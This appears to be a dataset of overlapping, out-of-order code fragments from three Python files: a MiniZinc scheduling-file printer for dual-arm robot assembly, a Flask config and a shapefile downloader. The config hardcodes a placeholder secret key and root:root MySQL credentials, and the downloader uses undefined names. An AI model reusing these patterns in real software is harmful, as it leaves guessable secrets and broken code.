"+ current return s def GetNoComp(self): return self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix):",
"+ self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity",
"= \" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() +",
"Software is furnished to do so, subject to the following conditions: from problem_instance",
"setup_file_name = file_name_prefix + str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() + \".dzn\" file1 =",
"+ str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"%",
"= \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS =",
"TODO: last row does not seem to have press - which it does",
"= \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \" + self.p.GetFixtureTaskOrderString() + \";\\n\\n\")",
"Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated by python script, authored",
"seem to have press - which it does no, since it is output",
"= file_name_prefix + str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\")",
"License # # Copyright (c) 2021 <NAME> # # Permission is hereby granted,",
"= fixture_order_raw self.no_grip = None self.no_suction = None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self):",
"Printing Tool Pick and Place- orders \"\"\" # TODO: last row does not",
"is hereby granted, free of charge, to any person obtaining a copy of",
"duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip =",
"current = \"G\" elif self.fixture_order_raw[i] == 1: current = \"S\" elif self.fixture_order_raw[i] ==",
"and associated documentation files (the \"Software\"), to deal in the Software without restriction,",
"\"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS",
"without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or",
"it does no, since it is output # However, we assume it does!",
"# Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" +",
"to do so, subject to the following conditions: from problem_instance import Problem class",
"does no, since it is output # However, we assume it does! #",
"= \"_\" else: current = \"ERROR\" s = s + current return s",
"def FilePrint(self, file_name_prefix): \"\"\" Printing File Header \"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp())",
"\";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" +",
"Place- orders \"\"\" # TODO: last row does not seem to have press",
"to deal in the Software without restriction, including without limitation the rights to",
"and Place- orders \"\"\" # TODO: last row does not seem to have",
"subject to the following conditions: from problem_instance import Problem class ProblemPrinter: def __init__(self,",
"\"\" current = \"\" for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current",
"\"\"\" Printing File Header \"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp()) + \"_\" +",
"== -1: current = \"_\" else: current = \"ERROR\" s = s +",
"\"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() + \".dzn\" file1",
"is furnished to do so, subject to the following conditions: from problem_instance import",
"to have press - which it does no, since it is output #",
"current return s def GetNoComp(self): return self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\"",
"GetNoComp(self): return self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing File Header \"\"\"",
"# MIT License # # Copyright (c) 2021 <NAME> # # Permission is",
"the following conditions: from problem_instance import Problem class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed,",
"self.fixture_order_raw = fixture_order_raw self.no_grip = None self.no_suction = None self.duration_rnd_seed = duration_rnd_seed def",
"class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs)",
"-1: current = \"_\" else: current = \"ERROR\" s = s + current",
"hereby granted, free of charge, to any person obtaining a copy of this",
"file_name_prefix + str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\")",
"task sets \"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \"",
"+ \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick and Place- orders \"\"\" # TODO:",
"following conditions: from problem_instance import Problem class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs):",
"file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString()",
"to whom the Software is furnished to do so, subject to the following",
"i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current = \"G\" elif self.fixture_order_raw[i] ==",
"file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick",
"documentation files (the \"Software\"), to deal in the Software without restriction, including without",
"file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) +",
"= \"\" current = \"\" for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0:",
"current = \"\" for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current =",
"self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s = \"\" current = \"\" for i",
"self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks =",
"self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip = None self.no_suction",
"self.fixture_order_raw[i] == -1: current = \"_\" else: current = \"ERROR\" s = s",
"if self.fixture_order_raw[i] == 0: current = \"G\" elif self.fixture_order_raw[i] == 1: current =",
"files (the \"Software\"), to deal in the Software without restriction, including without limitation",
"file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity Multi Tool Scheduling /",
"Software without restriction, including without limitation the rights to use, copy, modify, merge,",
"current = \"ERROR\" s = s + current return s def GetNoComp(self): return",
"restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute,",
"s = s + current return s def GetNoComp(self): return self.p.no_grip + self.p.no_suction",
"= None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s = \"\" current = \"\"",
"to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the",
"duration_rnd_seed def GetFixtureOrderString(self): s = \"\" current = \"\" for i in range(len(self.fixture_order_raw)):",
"to the following conditions: from problem_instance import Problem class ProblemPrinter: def __init__(self, fixture_order_raw,",
"def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw =",
"for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current = \"G\" elif self.fixture_order_raw[i]",
"Software, and to permit persons to whom the Software is furnished to do",
"elif self.fixture_order_raw[i] == -1: current = \"_\" else: current = \"ERROR\" s =",
"in the Software without restriction, including without limitation the rights to use, copy,",
"self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\"",
"file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n')",
"+ \"_\" + self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm",
"+ \";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \"",
"\";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString()",
"file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() + \";\\n\")",
"self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick and Place- orders \"\"\" #",
"the Software is furnished to do so, subject to the following conditions: from",
"- which it does no, since it is output # However, we assume",
"\"G\" elif self.fixture_order_raw[i] == 1: current = \"S\" elif self.fixture_order_raw[i] == -1: current",
"\"\"\" # TODO: last row does not seem to have press - which",
"= \" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() + \";\\n\")",
"does not seem to have press - which it does no, since it",
"However, we assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) +",
"durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task",
"of the Software, and to permit persons to whom the Software is furnished",
"Problem class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw,",
"**kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip = None self.no_suction = None self.duration_rnd_seed = duration_rnd_seed",
"def GetFixtureOrderString(self): s = \"\" current = \"\" for i in range(len(self.fixture_order_raw)): if",
"1: current = \"S\" elif self.fixture_order_raw[i] == -1: current = \"_\" else: current",
"self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing File Header \"\"\" setup_file_name = file_name_prefix +",
"and/or sell copies of the Software, and to permit persons to whom the",
"to any person obtaining a copy of this software and associated documentation files",
"file_name_prefix): \"\"\" Printing File Header \"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp()) + \"_\"",
"Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing",
"def GetNoComp(self): return self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing File Header",
"+ self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick and Place- orders \"\"\"",
"None self.no_suction = None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s = \"\" current",
"\\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1))",
"we assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\")",
"# Permission is hereby granted, free of charge, to any person obtaining a",
"self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing File Header \"\"\" setup_file_name =",
"file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick and",
"Auto Generated by python script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations",
"+ \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing",
"of charge, to any person obtaining a copy of this software and associated",
"(the \"Software\"), to deal in the Software without restriction, including without limitation the",
"Header \"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() + \".dzn\"",
"s + current return s def GetNoComp(self): return self.p.no_grip + self.p.no_suction def FilePrint(self,",
"s = \"\" current = \"\" for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] ==",
"\" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick and Place- orders"
] |
[
"da aplicação # import os from os.path import abspath DEBUG = True SECRET_KEY",
"DEBUG = True SECRET_KEY = 'a secret key' # diretório base basedir =",
"basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy monitorará modificações de",
"base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação BASE_DIR = basedir #",
"diretório base da aplicação BASE_DIR = basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI =",
"secret key' # diretório base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação",
"da aplicação BASE_DIR = basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' #",
"key' # diretório base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação BASE_DIR",
"import os from os.path import abspath DEBUG = True SECRET_KEY = 'a secret",
"os.path import abspath DEBUG = True SECRET_KEY = 'a secret key' # diretório",
"= os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação BASE_DIR = basedir # connection string:",
"BASE_DIR = basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy monitorará",
"mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy monitorará modificações de objetos SQLALCHEMY_TRACK_MODIFICATIONS = True",
"connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy monitorará modificações de objetos SQLALCHEMY_TRACK_MODIFICATIONS",
"aplicação # import os from os.path import abspath DEBUG = True SECRET_KEY =",
"# import os from os.path import abspath DEBUG = True SECRET_KEY = 'a",
"basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação BASE_DIR = basedir # connection",
"import abspath DEBUG = True SECRET_KEY = 'a secret key' # diretório base",
"os from os.path import abspath DEBUG = True SECRET_KEY = 'a secret key'",
"# connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy monitorará modificações de objetos",
"string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy monitorará modificações de objetos SQLALCHEMY_TRACK_MODIFICATIONS =",
"'a secret key' # diretório base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base da",
"from os.path import abspath DEBUG = True SECRET_KEY = 'a secret key' #",
"= basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy monitorará modificações",
"# diretório base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação BASE_DIR =",
"True SECRET_KEY = 'a secret key' # diretório base basedir = os.path.abspath(os.path.dirname(__name__)) #",
"abspath DEBUG = True SECRET_KEY = 'a secret key' # diretório base basedir",
"Configurações da aplicação # import os from os.path import abspath DEBUG = True",
"SECRET_KEY = 'a secret key' # diretório base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório",
"= 'a secret key' # diretório base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base",
"os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação BASE_DIR = basedir # connection string: mysql://usuario:senha@host/nomedobanco",
"diretório base basedir = os.path.abspath(os.path.dirname(__name__)) # diretório base da aplicação BASE_DIR = basedir",
"base da aplicação BASE_DIR = basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb'",
"# # Configurações da aplicação # import os from os.path import abspath DEBUG",
"aplicação BASE_DIR = basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost/dbdevweb' # SQLAlchemy",
"# Configurações da aplicação # import os from os.path import abspath DEBUG =",
"# diretório base da aplicação BASE_DIR = basedir # connection string: mysql://usuario:senha@host/nomedobanco SQLALCHEMY_DATABASE_URI",
"= True SECRET_KEY = 'a secret key' # diretório base basedir = os.path.abspath(os.path.dirname(__name__))"
] |
[
"#Do we need to get the data or is it already there? shape_names",
"we want to extract the data ''' #Do we need to get the",
"is it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names: #Get",
"url: url for the shapefile zip file_name: name of the file where we",
"the data or is it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not",
"if file_name not in shape_names: #Get the data print(f'getting {file_name}...') #Get url url",
"#Get the data print(f'getting {file_name}...') #Get url url = shape_lookup[file_name] #Request data req",
"url url = shape_lookup[file_name] #Request data req = requests.get(url) #Parse the content z",
"os from urllib.request import urlretrieve from zipfile import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED,",
"shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names: #Get the data print(f'getting {file_name}...')",
"not in shape_names: #Get the data print(f'getting {file_name}...') #Get url url = shape_lookup[file_name]",
"data or is it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in",
"ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): ''' Utility function to",
"or is it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names:",
"to extract the data ''' #Do we need to get the data or",
"need to get the data or is it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles')",
"shapefile Arguments: url: url for the shapefile zip file_name: name of the file",
"from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): ''' Utility function to extract",
"file where we want to extract the data ''' #Do we need to",
"requests.get(url) #Parse the content z = ZipFile(BytesIO(req.content)) #Save print(f'saving {file_name}...') z.extractall(f'{path}{file_name}') else: print(f'{file_name}",
"shape_names: #Get the data print(f'getting {file_name}...') #Get url url = shape_lookup[file_name] #Request data",
"urlretrieve from zipfile import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path):",
"file_name not in shape_names: #Get the data print(f'getting {file_name}...') #Get url url =",
"Utility function to extract and the shapefile Arguments: url: url for the shapefile",
"data req = requests.get(url) #Parse the content z = ZipFile(BytesIO(req.content)) #Save print(f'saving {file_name}...')",
"the file where we want to extract the data ''' #Do we need",
"''' #Do we need to get the data or is it already there?",
"to extract and the shapefile Arguments: url: url for the shapefile zip file_name:",
"the shapefile zip file_name: name of the file where we want to extract",
"as gpd import os from urllib.request import urlretrieve from zipfile import ZipFile from",
"there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names: #Get the data print(f'getting",
"os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names: #Get the data print(f'getting {file_name}...') #Get url",
"function to extract and the shapefile Arguments: url: url for the shapefile zip",
"#Parse the content z = ZipFile(BytesIO(req.content)) #Save print(f'saving {file_name}...') z.extractall(f'{path}{file_name}') else: print(f'{file_name} already",
"get the data or is it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name",
"url for the shapefile zip file_name: name of the file where we want",
"= requests.get(url) #Parse the content z = ZipFile(BytesIO(req.content)) #Save print(f'saving {file_name}...') z.extractall(f'{path}{file_name}') else:",
"geopandas as gpd import os from urllib.request import urlretrieve from zipfile import ZipFile",
"{file_name}...') #Get url url = shape_lookup[file_name] #Request data req = requests.get(url) #Parse the",
"data ''' #Do we need to get the data or is it already",
"shape_lookup[file_name] #Request data req = requests.get(url) #Parse the content z = ZipFile(BytesIO(req.content)) #Save",
"Arguments: url: url for the shapefile zip file_name: name of the file where",
"and the shapefile Arguments: url: url for the shapefile zip file_name: name of",
"data print(f'getting {file_name}...') #Get url url = shape_lookup[file_name] #Request data req = requests.get(url)",
"name of the file where we want to extract the data ''' #Do",
"NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): ''' Utility function to extract and the shapefile",
"the content z = ZipFile(BytesIO(req.content)) #Save print(f'saving {file_name}...') z.extractall(f'{path}{file_name}') else: print(f'{file_name} already collected')",
"get_shape(file_name, path): ''' Utility function to extract and the shapefile Arguments: url: url",
"the shapefile Arguments: url: url for the shapefile zip file_name: name of the",
"it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names: #Get the",
"for the shapefile zip file_name: name of the file where we want to",
"#Request data req = requests.get(url) #Parse the content z = ZipFile(BytesIO(req.content)) #Save print(f'saving",
"the data print(f'getting {file_name}...') #Get url url = shape_lookup[file_name] #Request data req =",
"#Get url url = shape_lookup[file_name] #Request data req = requests.get(url) #Parse the content",
"import geopandas as gpd import os from urllib.request import urlretrieve from zipfile import",
"= shape_lookup[file_name] #Request data req = requests.get(url) #Parse the content z = ZipFile(BytesIO(req.content))",
"<filename>ds/beis_indicators/utils/geo_utils.py import geopandas as gpd import os from urllib.request import urlretrieve from zipfile",
"req = requests.get(url) #Parse the content z = ZipFile(BytesIO(req.content)) #Save print(f'saving {file_name}...') z.extractall(f'{path}{file_name}')",
"import os from urllib.request import urlretrieve from zipfile import ZipFile from beis_indicators.utils.nuts_utils import",
"extract and the shapefile Arguments: url: url for the shapefile zip file_name: name",
"print(f'getting {file_name}...') #Get url url = shape_lookup[file_name] #Request data req = requests.get(url) #Parse",
"extract the data ''' #Do we need to get the data or is",
"want to extract the data ''' #Do we need to get the data",
"to get the data or is it already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if",
"from zipfile import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): '''",
"zipfile import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): ''' Utility",
"= os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names: #Get the data print(f'getting {file_name}...') #Get",
"we need to get the data or is it already there? shape_names =",
"path): ''' Utility function to extract and the shapefile Arguments: url: url for",
"file_name: name of the file where we want to extract the data '''",
"the data ''' #Do we need to get the data or is it",
"already there? shape_names = os.listdir(f'{project_dir}/data/raw/shapefiles') if file_name not in shape_names: #Get the data",
"urllib.request import urlretrieve from zipfile import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def",
"of the file where we want to extract the data ''' #Do we",
"zip file_name: name of the file where we want to extract the data",
"in shape_names: #Get the data print(f'getting {file_name}...') #Get url url = shape_lookup[file_name] #Request",
"import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): ''' Utility function",
"''' Utility function to extract and the shapefile Arguments: url: url for the",
"from urllib.request import urlretrieve from zipfile import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED",
"shapefile zip file_name: name of the file where we want to extract the",
"gpd import os from urllib.request import urlretrieve from zipfile import ZipFile from beis_indicators.utils.nuts_utils",
"NUTS_ENFORCED def get_shape(file_name, path): ''' Utility function to extract and the shapefile Arguments:",
"where we want to extract the data ''' #Do we need to get",
"url = shape_lookup[file_name] #Request data req = requests.get(url) #Parse the content z =",
"import urlretrieve from zipfile import ZipFile from beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name,",
"import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): ''' Utility function to extract and the",
"beis_indicators.utils.nuts_utils import NUTS_INTRODUCED, NUTS_ENFORCED def get_shape(file_name, path): ''' Utility function to extract and",
"def get_shape(file_name, path): ''' Utility function to extract and the shapefile Arguments: url:"
] |